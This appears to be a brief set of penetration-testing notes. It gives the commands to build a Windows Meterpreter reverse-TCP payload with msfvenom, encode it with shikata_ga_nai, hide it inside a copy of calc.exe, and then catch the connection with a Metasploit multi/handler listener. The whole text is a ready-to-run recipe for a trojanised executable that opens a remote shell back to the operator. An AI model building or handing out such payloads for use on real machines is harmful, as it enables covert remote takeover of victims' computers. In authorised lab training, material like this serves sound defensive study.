#client

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.106 LPORT=9999 -e x86/shikata_ga_nai -b '\x00' -x /root/demo/calc.exe -f exe > demo.exe

#server:

msfconsole

msf>

use exploit/multi/handler

set LHOST 192.168.8.106

set LPORT 9999

show options

exploit -z -j